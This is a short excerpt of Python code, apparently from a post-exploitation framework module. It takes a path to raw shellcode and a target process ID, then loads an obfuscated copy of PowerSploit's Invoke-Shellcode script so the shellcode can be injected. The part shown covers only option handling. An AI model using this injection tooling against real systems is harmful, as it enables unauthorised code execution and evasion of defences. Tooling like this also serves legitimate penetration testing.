'PATH     Path to the file containing raw shellcode to inject
PROCID   Process ID to inject into (default: current powershell process)'

def options(self, context, module_options):

    if (not ('PATH' in module_options)):
        context.log.error('PATH    option    is    required!')
        exit(1)
    self.shellcode_path = os.path.expanduser(module_options['PATH'])
    if (not os.path.exists(self.shellcode_path)):
        context.log.error('Invalid    path    to    shellcode!')
        exit(1)
    self.procid = None
    if ('PROCID' in module_options.keys()):
        self.procid = module_options['PROCID']
    self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1')
